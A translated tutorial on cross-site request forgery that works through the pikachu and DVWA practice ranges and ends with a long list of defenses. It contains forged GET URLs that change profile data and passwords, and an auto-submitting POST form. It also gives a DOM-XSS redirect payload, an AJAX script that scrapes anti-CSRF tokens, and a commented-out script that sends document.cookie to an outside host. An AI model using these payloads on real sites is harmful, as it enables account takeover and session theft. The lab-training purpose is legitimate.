CSRF vulnerabilities and shooting ranges (the most detailed in history)

CSRF

  • Cause: The server does not strictly control the data submitted by the user, allowing the attacker to use the user’s cookie information to forge user requests and send them to the server.

  • Utilization method: The attacker induces the victim to enter a third-party website, and in the third-party website, sends a cross-site request to the attacked website. Use the registration credentials that the victim has obtained on the attacked website to bypass the background user verification and impersonate the user to perform an operation on the attacked website.

  • The difference between xss and csrf:

    • XSS takes advantage of the user’s trust in the specified website. The data submitted by the user can construct code to execute, thereby achieving attacks such as stealing user information.
    • CSRF utilization is the website’s trust in the user’s browser. XSS is one of the many means to achieve CSRF. It is due to the fact that there is no confirmation whether the user voluntarily initiated it when the key operation is executed.
  • Principle: The attacker steals your identity and sends malicious requests in your name

  • Harm: Send emails and messages in the name of the victim, steal the victim’s account, even purchase goods, transfer virtual currency, modify the victim’s network configuration (such as modifying the router DNS, resetting the router password), etc. . The problems caused include: leakage of personal privacy, leakage of confidential information, and the property security of users and even enterprises; the harm of CSRF can be summarized in one sentence: theft of the victim’s identity, whatever the victim can do, the attacker can do with the victim’s identity.

  • Existence conditions:

    • There is a csrf vulnerability

    • The user must have logged in to the target site and remain logged in to the site on the browser

    • Requires the user to open a third-party site (triggers the corresponding request)

csrf repair

  • Set random Token
  • Add verification code: Set verification code options before sensitive operations
  • Check the referer source and determine whether the requested link is the page currently being used by the administrator. There is a field in the HTTP header called Referer, which records the source address of the HTTP request.
  • Use the HttpOnly tag so that the cookie can only be obtained by the server and cannot be obtained by javascript, reducing the possibility of cookie theft.

Description

Cross-site request forgery, also known as one-click attack, often abbreviated as CSRF or XSRF, is a method of coercing users to perform unintended operations on the currently logged-in web application. attack method.

In a CSRF attack scenario, the attacker will forge a request (this request is usually a link) and then trick the target user into clicking. Once the user clicks on the request, the entire attack is completed.

What should Xiaohei do if he wants to modify Lucy's personal information?

-Requires lucy's permission!
So Xiao Hei forged a request to modify personal information, and then lured Lucy to click while logged in. The attack was successful!
http://192.168.112.200/ant/vulnerabilities/csrf/csrfget/csrf_mem_edit.php?sex=Female &phonenum=13856564455 &add=No. 111, Mars Village
 & amp;[email protected] & amp;submit=submit


Why can Xiaohei's attack succeed?
Condition 1: The xxx shopping website does not perform anti-CSRF processing on requests to modify personal information, making the requests easily forged.
Therefore, when we determine whether a website has a CSRF vulnerability, we actually determine whether its operations (additions, deletions, modifications) on key information (such as passwords and other sensitive information) are easily forged.

Condition 2: Lucy clicked the "ambush" link sent by Xiaohei while logged into the backend.
If lucy is not logged in, or lucy has not clicked this link, the attack will not succeed.


If Xiaohei discovers an XSS vulnerability on the homepage of xx.com in advance, Xiaohei may do this:
1. Trick lucy into accessing pages with XSS scripts (scripts that steal cookies);
2. Lucy was tricked, and Xiao Hei stole Lucy’s cookies;
3. Xiaohei successfully logs in to lucy's backend, and Xiaohei modifies lucy's relevant information by himself;
So comparing with the above, you can see the difference between CSRF and XSS:
CSRF uses the user's permissions to complete the attack. The attacker does not obtain the user's permissions, but XSS directly steals the user's permissions and then performs damage.

Please add a picture description

Prerequisites for CSRF utilization

As you can see from the figure, to complete a CSRF attack, the victim must complete two steps at one time:
1. Log in to trusted website A and generate cookies locally.
2. Visit dangerous website B without exiting.

If one of the above two conditions is not met, you will not be attacked by CSRF.

How to confirm that a web system has a CSRF vulnerability

1. Mark the additions, deletions and modifications of the target website, and observe its logic to determine whether the request can be forged:

For example, when changing a password, there is no need to verify the old password, making the request easily forged;
For example, secure token verification is not used when modifying sensitive information, making requests easily forged;

2. Confirm the validity period of the certificate (this problem will increase the probability of CSRF being exploited)

Although you exit or close the browser, the cookie is still valid, or the session does not expire in time, making CSRF attacks easier.

pikachu’s payload

http://192.168.1.187/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy & amp;phonenum=10086 & amp;add=China & amp;[email protected] & amp ;submit=submit

CSRF vulnerability classification and utilization

Csrf verification on pikachu

GET type

Capture packets

What I see is the data package submitted by get/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy & amp;phonenum=10086 & amp;add=China & amp;[email protected] & amp;submit=submitThat is to say, you can directly forge the submitted data packet to obtain the server content.

Send packet http://192.168.1.187/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy & amp;phonenum=110 & amp;add=China & amp;email=110@pikachu. com & amp;submit=submit

POST type

POST type, the submitted changed value will not be in the address bar like the GET type, but will be in the request body, so we can write a phishing website (from form), when writing the from form, we write The value of name in the from form needs to be the same as the backend. When the user logs in to his account, we can jump directly and change the value we want to change.
from form

Used js time to automatically click submit

The value default value is also set to complete the value change at lightning speed.

The form submission page needs to be the URL changed by the user

Then send the path to your page to the user
<!doctype html> <!-- Define the document type as HTML5 -->
<html lang="en"> <!-- Define the page language as English -->
<head>
    <meta charset="UTF-8"> <!-- Set character encoding to UTF-8 -->
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <!-- Set mobile device viewport properties -->
    <meta http-equiv="X-UA-Compatible" content="ie=edge"> <!-- Set the browser compatibility mode to Edge mode -->
    <title>Document</title> <!-- Set the page title to "Document" -->
    <script>
        //Execute the following JavaScript code when the page is loaded
        window.onload = function() {
            // Submit the form by clicking the button with the "id" attribute "postsubmit"
            document.getElementById("postsubmit").click();
        }
    </script>
</head>
<body>
    <form method="post" action="http://192.168.1.12/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php"> //This page is the page where the victim modifies information
        <!-- Create a form and submit it to the specified URL in POST mode -->
        <input type="text" name="sex" value="boy"> <!-- Enter gender information, the default value is "boy" -->
        <input type="text" name="phonenum" value="10010"> <!-- Enter phone number information, the default value is "10010" -->
        <input type="text" name="add" value="chain"> <!-- Enter address information, the default value is "chain" -->
        <input type="text" name="email" value="[email protected]"> <!-- Enter email information, the default value is "[email protected]" - ->
        <!--
        <form method="post" action="http://192.168.1.4/pikachu/vul/xss/xsspost/xss_reflected_post.php">
            Create a nested form and submit it to the specified URL in POST mode (the commented out part will not take effect)
            <input id="xssr_in" type="text" name="message" value=
            "<script>
        document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
            </script>"
             /> -->
        <input id="postsubmit" type="submit" name="submit" value="submit" /> <!-- Submit button -->
    </form>
</body>
</html>

payload

http://192.168.1.187/from.php

token

Defense methods

Add verification (common practice):
1. Add token parameters for key operations. The token value must be random and different every time;
2. Verify Referer
Regarding secure session management (to prevent sessions from being exploited):
1. Do not save sensitive information (such as identity authentication information) on the client;
2. The test is directly closed and the session expiration mechanism is used when exiting;
3. Set the session expiration mechanism. For example, if there is no operation within 15 minutes, the login will time out automatically;
Access control security management:
1. When modifying sensitive information, secondary authentication of identity is required. For example, when modifying an account, the old password needs to be determined;
2. Use post instead of get to modify sensitive information;
3. Restrict the original page through the referer in the http header and add a verification code: generally used for login (anti-brute force cracking), and can also be used in forms for other important information operations (usability needs to be considered)

How does Token prevent CSRF?

Cause of vulnerability:
The main problem with CSRF is that links for sensitive operations are easily forged, so how to make this link less likely to be forged?
Solutions:
For each request, a random code is added (it needs to be random enough and not easy to forge), and the background verifies this random code every time!

A situation where it is possible to bypass the token

If the token is written on the front-end page, it may cause a token predictable vulnerability

It is equivalent to the token becoming invalid after you modify the value once, but there will be a new token brought to the front end by the hidden field when you enter the modification page. I only need to in the browser The console can modify your value by getting a new token, but it is generally unrealistic.

/pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=boy &phonenum=10010 &add=chain &email=zzp%40pikachu.com &token=503876523f3151b5be614910479 & submit=submit

dvwa csrf

low

It is a get type, so you can change it directly in the address bar.

payload
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password & amp;password_conf=password & amp;Change=Change#

medium

Referer authentication has been added, so we need to jump from other pages and let the web page have its own referer, so we choose the XSS (DOM) page, first write an XSS injection, and then write in the script to jump to the CSRF, our The payload needs to be injected with xss first

payload
http://192.168.1.187/DVWA-master/vulnerabilities/xss_d/?default=</option></select><img src="x" οnerrοr="location.href='http ://192.168.1.187/DVWA-master/vulnerabilities/csrf/?password_new=123456 & amp;password_conf=123456 & amp;Change=Change#'">
//Close first, then inject modifications

high

Simple way of thinking

Token authentication has been added, but the token is also in the hidden domain of the front end. The token will be in the web page source code after changing the password once.

It is equivalent to the token becoming invalid after you modify the value once, but there will be a new token brought to the front end by the hidden field after you complete the modification. I only need to control it in the browser. Taiwan can modify your value by obtaining a new token, but it is generally unrealistic.

payload
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456 & amp;password_conf=123456 & amp;Change=Change & amp;user_token=611850b120c6c46c0d26fc10f3514501#

A once and for all method

Use js and ajax to do it. You need to change the IP address inside to the IP address you need.

var tokenUrl = 'http://192.168.1.187/DVWA-master/vulnerabilities/csrf/';
//Define the tokenUrl variable, pointing to the URL address of the CSRF vulnerability

if (window.XMLHttpRequest) {<!-- -->
    // Check whether the browser supports the XMLHttpRequest object
    xmlhttp = new XMLHttpRequest();
} else {<!-- -->
    // If not supported, use ActiveXObject to create the Microsoft.XMLHTTP object (in IE browser)
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}

var count = 0;
//Initialize the counter count, used to control the number of requests

xmlhttp.withCredentials = true;
// Enable the cross-domain request function of the XMLHttpRequest object

xmlhttp.onreadystatechange = function () {<!-- -->
    //Define the callback function of the XMLHttpRequest object for processing response data
    if (xmlhttp.readyState == 4 & amp; & amp; xmlhttp.status == 200) {<!-- -->
        // Check whether the request status and response status code are both successful
        var text = xmlhttp.responseText;
        // store response text

        var regex = /user_token\' value\=\'(.*?)\'\/;
        // Use regular expressions to match the part containing the "user_token" value
        var match = text.match(regex);
        //Perform matching operation

        var token = match[1];
        //Extract the value of "user_token" from the matching results

        var new_url = 'http://192.168.1.187/DVWA-master/vulnerabilities/csrf/?user_token=' + token + ' & amp;password_new=123 & amp;password_conf=123 & amp;Change=Change\ ';
        // Construct a new URL, including the extracted "user_token"

        if (count === 0) {<!-- -->
            // Check if the counter is 0 to prevent sending the request multiple times
            count + + ;
            xmlhttp.open("GET", new_url, false);
            // Open a new GET request and pass the new URL to the server
            xmlhttp.send();
            //Send GET request
        }
    }
};

xmlhttp.open("GET", tokenUrl, false);
// Open the first GET request and request the CSRF vulnerability page to obtain the token
xmlhttp.send();
//Send the first GET request
payload
http://127.0.0.1/DVWA-master/vulnerabilities/xss_d/?default=English & amp;a=<script src="http://192.168.1.187/ajaxtoken.js"></ script>

Defense

A cross-site request forgery (CSRF) attack is a type of attack in which an attacker attempts to perform unauthorized actions without the user’s knowledge. Here are some key measures to defend against CSRF attacks:

  1. Randomize and verify tokens:

    • On every sensitive operation (e.g. change password, change email address), generate a random and unique token (CSRF token) for the user. Embed this token in a form or request and verify the token’s validity on the server side. The attacker cannot obtain a valid token and therefore cannot perform the attack.
  2. Same origin policy:

    • Use the same-origin policy to ensure that your website only accepts requests from the same source (same domain name, protocol, and port). This will prevent an attacker from masquerading as a user and making cross-site requests.
  3. Using cookie attributes:

    • Use the SameSite attribute to set cookies to limit the sending of cookies in cross-site requests. The cookie can be marked SameSite=Strict to ensure that it is only sent in requests for the same site.
  4. Verify HTTP Referer header:

    • Verify the Referer field in the HTTP request header to ensure that the request comes from a legitimate source. But be aware that this method is not absolutely reliable because the Referer header may be restricted by the browser.
  5. Double submit cookies:

    • In some cases, the double-submit cookie method can be used. The server sets a token in the cookie and requires every request to include the token. The attacker does not have access to the user’s cookies and therefore cannot forge requests.
  6. Check HTTP method:

    • Check the method of HTTP request (GET, POST, PUT, etc.). For sensitive operations, only POST requests are accepted as GET requests may be exploited by attackers.
  7. Use Content-Type header:

    • Check the Content-Type header of the HTTP request. Make sure the Content-Type of the POST request is application/x-www-form-urlencoded or multipart/form-data, not application/json etc. to prevent CSRF attacks.
  8. Avoid automatic login:

    • Avoid automating logins or automating sensitive operations, especially without explicit authorization from the user.
  9. Clear sessions no longer in use:

    • Periodically purge user sessions that are no longer in use to prevent attackers from obtaining old session tokens.
  10. Regular security audits:

    • Conduct regular security audits and penetration testing to discover and fix potential CSRF vulnerabilities.

Combining the above measures can significantly reduce the risk of CSRF attacks. Different applications and scenarios may require different defense methods, so it is recommended that these measures be selected and implemented on a case-by-case basis.

The difference between XSS and CSRF

  • The difference between xss and csrf:
    • XSS takes advantage of the user’s trust in the specified website. The data submitted by the user can construct code to execute, thereby achieving attacks such as stealing user information.
    • CSRF utilization is the website’s trust in the user’s browser. XSS is one of the many ways to implement CSRF. It is due to the fact that there is no confirmation whether the user voluntarily initiated it when the key operation is executed.

Cross-site scripting (XSS) and cross-site request forgery (CSRF) are two completely different network security threats with different attack methods and goals:

  1. XSS (cross-site scripting attack):

    • Attack method: XSS attacks attack users by injecting malicious scripts (usually JavaScript code) on web pages. These scripts are executed in the user’s browser to manipulate web pages in a malicious manner, steal user information, steal session tokens, and more.

    • Target: XSS attacks target users and their browsers, with attackers trying to exploit the user’s trust to execute malicious code.

    • Defense: Methods to defend against XSS attacks include input validation, output encoding, Content Security Policy (CSP), etc., which mainly focus on filtering and processing user input and content output to web pages.

  2. CSRF (cross-site request forgery attack):

    • Attack method: A CSRF attack is carried out by disguising requests from trusted users in order to perform certain operations without the user’s knowledge. Attackers usually take advantage of a user’s logged-in status to send malicious requests to perform specific operations, such as changing passwords, sending funds, etc.

    • Target: The target of the CSRF attack is the user’s authentication session. The attacker is trying to perform unauthorized actions rather than inject malicious code.

    • Defense: Methods to defend against CSRF attacks include randomizing and verifying tokens, origin policy, using cookie attributes, checking the HTTP Referer header, etc., mainly focusing on ensuring the legitimacy and source of the request.

Summarize:

  • XSS attacks are about injecting malicious scripts to manipulate web content or steal information, mainly involving user interfaces and user browsers.
  • CSRF attacks are about impersonating a user and performing unauthorized actions, primarily involving the backend server and the user’s authentication session.
  • Defending against XSS and CSRF attacks requires taking different security measures to protect different attack methods and targets. A combination of these measures can improve the security of your application.

BP tool usage

First capture the packet to BP

Then modify the above aspect and put the following html code into a file and access it.